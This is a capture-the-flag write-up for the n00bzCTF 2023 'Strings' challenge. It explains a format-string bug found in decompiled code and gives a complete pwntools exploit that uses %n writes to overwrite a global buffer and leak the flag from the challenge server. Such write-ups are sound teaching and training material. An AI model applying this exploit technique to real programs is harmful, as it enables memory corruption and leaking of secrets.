# Strings

by sunbather / .hidden

**Tags:** format-string pwn

Rating:

## Description of the challenge

I love Strings! Do you? Let me know!

Author: NoobMaster

## Solution

Decompiling the binary - we can first see a clear format string vulnerability. We get to read into a buffer that then gets printed directly with printf. Perhaps we can use it to leak an address, or write to somewhere with the `%n` format string.

```
void main(EVP_PKEY_CTX *param_1)
{
  long in_FS_OFFSET;
  char local_78 [104];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  init(param_1);
  puts("Do you love strings? ");
  fgets(local_78,100,stdin);
  printf(local_78);
  main2();
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

Decompiling `main2()`, we can see that it prints a global buffer `fake_flag`, again introducing another format string vulnerability. We can see that the real flag is read into the `local_38` buffer. The idea for the solution would be to first use `%n` to rewrite `fake_flag` to `%s`, so it prints out the real flag.

```
void main2(void)
{
  FILE *__stream;
  long in_FS_OFFSET;
  char local_38 [40];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  fgets(local_38,0x28,__stream);
  printf(fake_flag);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

So there are a few things to know about format string vulnerability. Firstly, we can access a relative argument passed to printf, by adding a number to the format string. For example `%5$s` would print the string found at the 5th address on the stack. Well, it would, if it were a 32-bits binary. But on 64-bits it gets even better - the first arguments that printf looks at are the registers. (as the following repo suggests). The first argument on the stack would actually be the 6th. This might not be true every time, I'm unsure why, but the current binary will have the stack starting at the 5th argument.

Another thing we have to know, is that in 64-bits binaries, we have to append addresses to our payload, instead of inserting them at the beginning. Because they have null bytes in them, which will mess with printf. This is highlighted in this blog.

Knowing all these details, we can start working towards the exploit. First, we extract the address of `fake_flag`. We want to write `%5$s` to it, because that's where the stack starts and where our real flag is. As per the blogpost earlier, writing 4 bytes would take a lot of printing, which will take a lot of time. So we have to write 2 bytes and then another 2 bytes. We print `x` bytes with `%xc`, where `x` is the integer value for `%5`. Then we write to the `fake_flag` address. We do the same with the `$s`. We also have to pad the payload properly, so the stack is properly aligned. The full exploit:

```
#!/usr/bin/env python3

from pwn import *

#target = process("./strings")
target = remote("challs.n00bzunit3d.xyz",7150)

x = int.from_bytes(b"%5", byteorder='little')
y = int.from_bytes(b"$s", byteorder='little')

fake_flag_addr = p64(0x00404060)
fake_flag_addr_next = p64(0x00404060 + 2)

payload = "%{}c%10$hn%{}c%11$hnaaaaaa".format(x, y-x).encode() + fake_flag_addr + fake_flag_addr_next
#print(payload)

target.sendline(payload)
target.interactive()
```

We run the exploit:

```
$ ./solve.py
[...] # lots of whitespaces
\x8baaaaaa`@@n00bz{.hidden_and_famous}
z{f4k3_fl4g}[*] Got EOF while reading in interactive
```

Weird flag. But good win.

Original writeup (https://dothidden.xyz/n00bzctf_2023/strings/).

## Comments